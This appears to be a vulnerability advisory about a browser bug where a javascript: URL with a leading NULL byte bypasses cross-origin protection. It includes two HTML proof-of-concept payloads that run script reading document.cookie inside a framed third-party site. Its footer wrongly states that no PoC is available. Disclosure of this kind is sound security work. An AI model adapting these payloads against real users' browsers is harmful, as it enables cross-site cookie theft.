javascript: url with a leading NULL...

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### javascript: url with a leading NULL byte can bypass cross origin protection. Well, it's not exactly StartsWith(), but the same thing for all intents and purposes. In BindingDOMWindow::createWindow() there's a call to protocolIsJavaScript(), which is a thin wrapper over protocolIs(), which is basically just reimplemented version of StartsWith(). However, I'd say the real problem is completely inconsistent whitespace handling. After the JavaScript check url_parse::TrimURL() eventually gets called, and clears out every surrounding character less than space. PoC 1: ```html <iframe name="test" src="http://www.g.cn"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.cookie)','test')" > ``` PoC 2: ```html <iframe name="test" src="http://www.g.cn"></iframe> <input type=button value="test" onclick="window.open('\x00javascript:alert(document.cookie)','test')" > ```

0%
暂无可用Exp或PoC
当前有0条受影响产品信息